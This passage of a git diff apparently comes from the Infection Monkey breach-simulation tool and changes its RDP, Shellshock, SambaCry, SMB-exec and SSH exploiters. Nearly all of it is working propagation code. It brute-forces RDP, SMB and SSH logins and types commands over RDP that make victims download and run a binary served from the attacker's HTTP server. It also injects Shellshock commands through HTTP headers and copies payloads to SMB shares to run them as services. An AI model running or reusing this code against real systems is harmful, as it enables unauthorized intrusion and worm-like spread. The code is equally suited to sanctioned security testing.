-from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
-from infection_monkey.utils import utf_to_ascii
-from common.utils.exploit_enum import ExploitType
-from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
-
-__author__ = 'hoffer'
-
-KEYS_INTERVAL = 0.1
-MAX_WAIT_FOR_UPDATE = 120
-KEYS_SENDER_SLEEP = 0.01
-DOWNLOAD_TIMEOUT = 60
-RDP_PORT = 3389
-LOG = getLogger(__name__)
-
-
-def twisted_log_func(*message, **kw):
- if kw.get('isError'):
- error_msg = 'Unknown'
- if 'failure' in kw:
- error_msg = kw['failure'].getErrorMessage()
- LOG.error("Error from twisted library: %s" % (error_msg,))
- else:
- LOG.debug("Message from twisted library: %s" % (str(message),))
-
-
-def rdpy_log_func(message):
- LOG.debug("Message from rdpy library: %s" % (message,))
-
-
-twisted.python.log.msg = twisted_log_func
-rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
-rdpy_log.log = rdpy_log_func
-
-# thread for twisted reactor, create once.
-global g_reactor
-g_reactor = threading.Thread(target=reactor.run, args=(False,))
-
-
-class ScanCodeEvent(object):
- def __init__(self, code, is_pressed=False, is_special=False):
- self.code = code
- self.is_pressed = is_pressed
- self.is_special = is_special
-
-
-class CharEvent(object):
- def __init__(self, char, is_pressed=False):
- self.char = char
- self.is_pressed = is_pressed
-
-
-class SleepEvent(object):
- def __init__(self, interval):
- self.interval = interval
-
-
-class WaitUpdateEvent(object):
- def __init__(self, updates=1):
- self.updates = updates
- pass
-
-
-def str_to_keys(orig_str):
- result = []
- for c in orig_str:
- result.append(CharEvent(c, True))
- result.append(CharEvent(c, False))
- result.append(WaitUpdateEvent())
- return result
-
-
-class KeyPressRDPClient(rdp.RDPClientObserver):
- def __init__(self, controller, keys, width, height, addr):
- super(KeyPressRDPClient, self).__init__(controller)
- self._keys = keys
- self._addr = addr
- self._update_lock = threading.Lock()
- self._wait_update = False
- self._keys_thread = threading.Thread(target=self._keysSender)
- self._keys_thread.daemon = True
- self._width = width
- self._height = height
- self._last_update = 0
- self.closed = False
- self.success = False
- self._wait_for_update = None
-
- def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
- update_time = time.time()
- self._update_lock.acquire()
- self._last_update = update_time
- self._wait_for_update = False
- self._update_lock.release()
-
- def _keysSender(self):
- LOG.debug("Starting to send keystrokes")
- while True:
-
- if self.closed:
- return
-
- if len(self._keys) == 0:
- reactor.callFromThread(self._controller.close)
- LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
- return
-
- key = self._keys[0]
-
- self._update_lock.acquire()
- time_diff = time.time() - self._last_update
- if isinstance(key, WaitUpdateEvent):
- self._wait_for_update = True
- self._update_lock.release()
- key.updates -= 1
- if key.updates == 0:
- self._keys = self._keys[1:]
- elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
- self._wait_for_update = False
- self._update_lock.release()
- if isinstance(key, ScanCodeEvent):
- reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
- key.is_special)
- elif isinstance(key, CharEvent):
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
- elif isinstance(key, SleepEvent):
- time.sleep(key.interval)
-
- self._keys = self._keys[1:]
- else:
- self._update_lock.release()
- time.sleep(KEYS_SENDER_SLEEP)
-
- def onReady(self):
- time.sleep(1)
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
- time.sleep(1)
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
- time.sleep(1)
- pass
-
- def onClose(self):
- self.success = len(self._keys) == 0
- self.closed = True
-
- def onSessionReady(self):
- LOG.debug("Logged in, session is ready for work")
- self._last_update = time.time()
- self._keys_thread.start()
-
-
-class CMDClientFactory(rdp.ClientFactory):
- def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
- self._username = username
- self._password = password
- self._domain = domain
- self._keyboard_layout = "en"
- # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter
- self._keys = [SleepEvent(1),
- ScanCodeEvent(91, True, True),
- ScanCodeEvent(19, True),
- ScanCodeEvent(19, False),
- ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
- [WaitUpdateEvent(), ScanCodeEvent(28, True),
- ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
- [WaitUpdateEvent(), ScanCodeEvent(28, True),
- ScanCodeEvent(28, False), WaitUpdateEvent()]
- self._optimized = optimized
- self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
- self._nego = True
- self._client = None
- self._width = width
- self._height = height
- self.done_event = threading.Event()
- self.success = False
-
- def buildObserver(self, controller, addr):
- """
- @summary: Build RFB observer
- We use a RDPClient as RDP observer
- @param controller: build factory and needed by observer
- @param addr: destination address
- @return: RDPClientQt
- """
-
- # create client observer
- self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
-
- controller.setUsername(self._username)
- controller.setPassword(self._password)
- controller.setDomain(self._domain)
- controller.setKeyboardLayout(self._keyboard_layout)
- controller.setHostname(addr.host)
- if self._optimized:
- controller.setPerformanceSession()
- controller.setSecurityLevel(self._security)
-
- return self._client
-
- def clientConnectionLost(self, connector, reason):
- # try reconnect with basic RDP security
- if reason.type == RDPSecurityNegoFail and self._nego:
- LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
- (connector.host, connector.port))
- # stop nego
- self._nego = False
- self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
- connector.connect()
- return
-
- LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
- self.success = self._client.success
- self.done_event.set()
-
- def clientConnectionFailed(self, connector, reason):
- LOG.debug("RDP connection to %s:%s failed, with error: %s" %
- (connector.host, connector.port, reason.getErrorMessage()))
- self.success = False
- self.done_event.set()
-
-
-class RdpExploiter(HostExploiter):
-
- _TARGET_OS_TYPE = ['windows']
- EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
- _EXPLOITED_SERVICE = 'RDP'
-
- def __init__(self, host):
- super(RdpExploiter, self).__init__(host)
-
- def is_os_supported(self):
- if super(RdpExploiter, self).is_os_supported():
- return True
-
- if not self.host.os.get('type'):
- is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
- if is_open:
- self.host.os['type'] = 'windows'
- return True
- return False
-
- def _exploit_host(self):
- global g_reactor
-
- is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
- if not is_open:
- LOG.info("RDP port is closed on %r, skipping", self.host)
- return False
-
- src_path = get_target_monkey(self.host)
-
- if not src_path:
- LOG.info("Can't find suitable monkey executable for host %r", self.host)
- return False
-
- # create server for http download.
- http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
-
- if not http_path:
- LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
- return False
-
- LOG.info("Started http server on %s", http_path)
-
- cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
-
- if self._config.rdp_use_vbs_download:
- command = RDP_CMDLINE_HTTP_VBS % {
- 'monkey_path': self._config.dropper_target_path_win_32,
- 'http_path': http_path, 'parameters': cmdline}
- else:
- command = RDP_CMDLINE_HTTP_BITS % {
- 'monkey_path': self._config.dropper_target_path_win_32,
- 'http_path': http_path, 'parameters': cmdline}
-
- user_password_pairs = self._config.get_exploit_user_password_pairs()
-
- if not g_reactor.is_alive():
- g_reactor.daemon = True
- g_reactor.start()
-
- exploited = False
- for user, password in user_password_pairs:
- try:
- # run command using rdp.
- LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
- self.host, user, password)
-
- LOG.info("RDP connected to %r", self.host)
-
- user = utf_to_ascii(user)
- password = utf_to_ascii(password)
- command = utf_to_ascii(command)
-
- client_factory = CMDClientFactory(user, password, "", command)
-
- reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
-
- client_factory.done_event.wait()
-
- if client_factory.success:
- if not self._config.rdp_use_vbs_download:
- T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
- self.add_vuln_port(RDP_PORT)
- exploited = True
- self.report_login_attempt(True, user, password)
- break
- else:
- # failed exploiting with this user/pass
- self.report_login_attempt(False, user, password)
-
- except Exception as exc:
- LOG.debug("Error logging into victim %r with user"
- " %s and password '%s': (%s)", self.host,
- user, password, exc)
- continue
-
- http_thread.join(DOWNLOAD_TIMEOUT)
- http_thread.stop()
-
- if not exploited:
- LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
- return False
- elif http_thread.downloads == 0:
- LOG.debug("Exploiter RdpGrinder failed, http download failed.")
- return False
-
- LOG.info("Executed monkey '%s' on remote victim %r",
- os.path.basename(src_path), self.host)
- self.add_executed_cmd(command)
- return True
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index b7c168f01..762cc14b5 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -19,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
-from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.pyinstaller_utils import get_binary_file_path
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
__author__ = 'itay.mizeretz'
@@ -266,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
-
+ T1105Telem(ScanStatus.USED,
+ get_interface_to_target(self.host.ip_addr),
+ self.host.ip_addr,
+ monkey_bin_64_src_path).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 0e05149e7..7276f0388 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -6,11 +6,13 @@ from random import choice
import requests
+from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.shellshock_resources import CGI_FILES
-from infection_monkey.exploit.tools import build_monkey_commandline
+from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'danielg'
@@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__)
TIMEOUT = 2
TEST_COMMAND = '/bin/uname -a'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
+LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
class ShellShockExploiter(HostExploiter):
@@ -106,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
+ if not self._create_lock_file(exploit, url, header):
+ LOG.info("Another monkey is running shellshock exploit")
+ return True
+
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
@@ -122,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
+ self._remove_lock_file(exploit, url, header)
+
if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@@ -131,6 +140,7 @@ class ShellShockExploiter(HostExploiter):
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
run_path = exploit + chmod
self.attack_page(url, header, run_path)
+ T1222Telem(ScanStatus.USED, chmod, self.host).send()
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
@@ -179,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
return False,
+ def _create_lock_file(self, exploit, url, header):
+ if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
+ return False
+ cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
+ self.attack_page(url, header, cmd)
+ return True
+
+ def _remove_lock_file(self, exploit, url, header):
+ cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
+ self.attack_page(url, header, cmd)
+
@staticmethod
def attack_page(url, header, attack):
result = ""
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 4646d7dd2..ee84fa847 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
+from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
LOG = getLogger(__name__)
@@ -66,8 +68,8 @@ class SmbExploiter(HostExploiter):
self._config.smb_download_timeout)
if remote_full_path is not None:
- LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
- self.host, user, password, lm_hash, ntlm_hash)
+ LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : %s : %s)",
+ self.host, user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
@@ -79,8 +81,8 @@ class SmbExploiter(HostExploiter):
except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
- " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
- user, password, lm_hash, ntlm_hash, exc)
+ " %s, password (SHA-512): '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
+ user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash, exc)
continue
if not exploited:
@@ -129,11 +131,13 @@ class SmbExploiter(HostExploiter):
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
lpBinaryPathName=cmdline)
service = resp['lpServiceHandle']
-
try:
scmr.hRStartServiceW(scmr_rpc, service)
+ status = ScanStatus.USED
except:
+ status = ScanStatus.SCANNED
pass
+ T1035Telem(status, UsageEnum.SMB).send()
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index ff979d6e7..ffd584d24 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -1,16 +1,20 @@
+import StringIO
import logging
import time
import paramiko
-import io
import infection_monkey.monkeyfs as monkeyfs
+from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'hoffer'
@@ -41,7 +45,7 @@ class SSHExploiter(HostExploiter):
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
- pkey = io.StringIO(ssh_key_pair['private_key'])
+ pkey = StringIO.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
@@ -71,26 +75,26 @@ class SSHExploiter(HostExploiter):
exploited = False
- for user, curpass in user_password_pairs:
+ for user, current_password in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
- password=curpass,
+ password=current_password,
port=port,
timeout=None)
- LOG.debug("Successfully logged in %r using SSH (%s : %s)",
- self.host, user, curpass)
+ LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
+ self.host, user, self._config.hash_sensitive_data(current_password))
exploited = True
self.add_vuln_port(port)
- self.report_login_attempt(True, user, curpass)
+ self.report_login_attempt(True, user, current_password)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
- " %s and password '%s': (%s)", self.host,
- user, curpass, exc)
- self.report_login_attempt(False, user, curpass)
+ " %s and password (SHA-512) '%s': (%s)", self.host,
+ user, self._config.hash_sensitive_data(current_password), exc)
+ self.report_login_attempt(False, user, current_password)
continue
return exploited
@@ -100,7 +104,7 @@ class SSHExploiter(HostExploiter):
port = SSH_PORT
# if ssh banner found on different port, use that port.
- for servkey, servdata in list(self.host.services.items()):
+ for servkey, servdata in self.host.services.items():
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-', ''))
@@ -109,7 +113,7 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
- #Check for possible ssh exploits
+ # Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
if not exploited:
exploited = self.exploit_with_login_creds(port, ssh)
@@ -162,10 +166,18 @@ class SSHExploiter(HostExploiter):
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
-
+ status = ScanStatus.USED
+ T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
+ status = ScanStatus.SCANNED
+
+ T1105Telem(status,
+ get_interface_to_target(self.host.ip_addr),
+ self.host.ip_addr,
+ src_path).send()
+ if status == ScanStatus.SCANNED:
return False
try:
diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py
deleted file mode 100644
index 152205d70..000000000
--- a/monkey/infection_monkey/exploit/tools.py
+++ /dev/null
@@ -1,536 +0,0 @@
-import logging
-import ntpath
-import os
-import os.path
-import pprint
-import socket
-import struct
-import sys
-import urllib.request, urllib.parse, urllib.error
-
-from impacket.dcerpc.v5 import transport, srvs
-from impacket.dcerpc.v5.dcom import wmi
-from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
-from impacket.dcerpc.v5.dcomrt import DCOMConnection
-from impacket.dcerpc.v5.dtypes import NULL
-from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
-from impacket.smbconnection import SMBConnection, SMB_DIALECT
-
-import infection_monkey.config
-import infection_monkey.monkeyfs as monkeyfs
-from infection_monkey.network.firewall import app as firewall
-from infection_monkey.network.info import get_free_tcp_port, get_routes
-from infection_monkey.transport import HTTPServer, LockedHTTPServer
-from threading import Lock
-
-
-class DceRpcException(Exception):
- pass
-
-
-__author__ = 'itamar'
-
-LOG = logging.getLogger(__name__)
-
-
-class AccessDeniedException(Exception):
- def __init__(self, host, username, password, domain):
- super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
- (host, domain, username, password))
-
-
-class WmiTools(object):
- class WmiConnection(object):
- def __init__(self):
- self._dcom = None
- self._iWbemServices = None
-
- @property
- def connected(self):
- return self._dcom is not None
-
- def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
- if not domain:
- domain = host.ip_addr
-
- dcom = DCOMConnection(host.ip_addr,
- username=username,
- password=password,
- domain=domain,
- lmhash=lmhash,
- nthash=nthash,
- oxidResolver=True)
-
- try:
- iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
- wmi.IID_IWbemLevel1Login)
- except Exception as exc:
- dcom.disconnect()
-
- if "rpc_s_access_denied" == exc.message:
- raise AccessDeniedException(host, username, password, domain)
-
- raise
-
- iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
-
- try:
- self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
- self._dcom = dcom
- except:
- dcom.disconnect()
-
- raise
- finally:
- iWbemLevel1Login.RemRelease()
-
- def close(self):
- assert self.connected, "WmiConnection isn't connected"
-
- self._iWbemServices.RemRelease()
- self._iWbemServices = None
-
- self._dcom.disconnect()
- self._dcom = None
-
- @staticmethod
- def dcom_wrap(func):
- def _wrapper(*args, **kwarg):
- try:
- return func(*args, **kwarg)
- finally:
- WmiTools.dcom_cleanup()
-
- return _wrapper
-
- @staticmethod
- def dcom_cleanup():
- for port_map in list(DCOMConnection.PORTMAPS.keys()):
- del DCOMConnection.PORTMAPS[port_map]
- for oid_set in list(DCOMConnection.OID_SET.keys()):
- del DCOMConnection.OID_SET[port_map]
-
- DCOMConnection.OID_SET = {}
- DCOMConnection.PORTMAPS = {}
- if DCOMConnection.PINGTIMER:
- DCOMConnection.PINGTIMER.cancel()
- DCOMConnection.PINGTIMER.join()
- DCOMConnection.PINGTIMER = None
-
- @staticmethod
- def get_object(wmi_connection, object_name):
- assert isinstance(wmi_connection, WmiTools.WmiConnection)
- assert wmi_connection.connected, "WmiConnection isn't connected"
-
- return wmi_connection._iWbemServices.GetObject(object_name)[0]
-
- @staticmethod
- def list_object(wmi_connection, object_name, fields=None, where=None):
- assert isinstance(wmi_connection, WmiTools.WmiConnection)
- assert wmi_connection.connected, "WmiConnection isn't connected"
-
- if fields:
- fields_query = ",".join(fields)
- else:
- fields_query = "*"
-
- wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
-
- if where:
- wql_query += " WHERE %s" % (where,)
-
- LOG.debug("Execution WQL query: %r", wql_query)
-
- iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
-
- query = []
- try:
- while True:
- try:
- next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
- record = next_item.getProperties()
-
- if not fields:
- fields = list(record.keys())
-
- query_record = {}
- for key in fields:
- query_record[key] = record[key]['value']
-
- query.append(query_record)
- except DCERPCSessionError as exc:
- if 1 == exc.error_code:
- break
-
- raise
- finally:
- iEnumWbemClassObject.RemRelease()
-
- return query
-
-
-class SmbTools(object):
- @staticmethod
- def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
- assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
- config = infection_monkey.config.WormConfiguration
- src_file_size = monkeyfs.getsize(src_path)
-
- smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
- if not smb:
- return None
-
- # skip guest users
- if smb.isGuestSession() > 0:
- LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
- " LM hash: %s, NTLM hash: %s",
- host, username, password, lm_hash, ntlm_hash)
-
- try:
- smb.logoff()
- except:
- pass
-
- return None
-
- try:
- resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
- except Exception as exc:
- LOG.debug("Error requesting server info from %r over SMB: %s",
- host, exc)
- return None
-
- info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
- 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
- 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
- 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
- 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
- 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
-
- LOG.debug("Connected to %r using %s:\n%s",
- host, dialect, pprint.pformat(info))
-
- try:
- resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
- except Exception as exc:
- LOG.debug("Error enumerating server shares from %r over SMB: %s",
- host, exc)
- return None
-
- resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
-
- high_priority_shares = ()
- low_priority_shares = ()
- file_name = ntpath.split(dst_path)[-1]
-
- for i in range(len(resp)):
- share_name = resp[i]['shi2_netname'].strip("\0 ")
- share_path = resp[i]['shi2_path'].strip("\0 ")
- current_uses = resp[i]['shi2_current_uses']
- max_uses = resp[i]['shi2_max_uses']
-
- if current_uses >= max_uses:
- LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
- share_name, host)
- continue
- elif not share_path:
- LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
- share_name, host)
- continue
-
- share_info = {'share_name': share_name,
- 'share_path': share_path}
-
- if dst_path.lower().startswith(share_path.lower()):
- high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
-
- low_priority_shares += ((ntpath.sep + file_name, share_info),)
-
- shares = high_priority_shares + low_priority_shares
-
- file_uploaded = False
- for remote_path, share in shares:
- share_name = share['share_name']
- share_path = share['share_path']
-
- if not smb:
- smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
- if not smb:
- return None
-
- try:
- tid = smb.connectTree(share_name)
- except Exception as exc:
- LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
- share_name, host, exc)
- continue
-
- LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
- share_name, share_path, remote_path, host)
-
- remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
-
- # check if file is found on destination
- if config.skip_exploit_if_file_exist:
- try:
- file_info = smb.listPath(share_name, remote_path)
- if file_info:
- if src_file_size == file_info[0].get_filesize():
- LOG.debug("Remote monkey file is same as source, skipping copy")
- return remote_full_path
-
- LOG.debug("Remote monkey file is found but different, moving along with attack")
- except:
- pass # file isn't found on remote victim, moving on
-
- try:
- with monkeyfs.open(src_path, 'rb') as source_file:
- # make sure of the timeout
- smb.setTimeout(timeout)
- smb.putFile(share_name, remote_path, source_file.read)
-
- file_uploaded = True
-
- LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
- src_path, share_name, share_path, host)
-
- break
- except Exception as exc:
- LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
- share_name, host, exc)
- continue
- finally:
- try:
- smb.logoff()
- except:
- pass
-
- smb = None
-
- if not file_uploaded:
- LOG.debug("Couldn't find a writable share for exploiting"
- " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
- host, username, password, lm_hash, ntlm_hash)
- return None
-
- return remote_full_path
-
- @staticmethod
- def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
- try:
- smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
- except Exception as exc:
- LOG.debug("SMB connection to %r on port 445 failed,"
- " trying port 139 (%s)", host, exc)
-
- try:
- smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
- except Exception as exc:
- LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
- host, exc)
- return None, None
-
- dialect = {SMB_DIALECT: "SMBv1",
- SMB2_DIALECT_002: "SMBv2.0",
- SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
-
- # we know this should work because the WMI connection worked
- try:
- smb.login(username, password, '', lm_hash, ntlm_hash)
- except Exception as exc:
- LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
- host, username, password, lm_hash, ntlm_hash, exc)
- return None, dialect
-
- smb.setTimeout(timeout)
- return smb, dialect
-
- @staticmethod
- def execute_rpc_call(smb, rpc_func, *args):
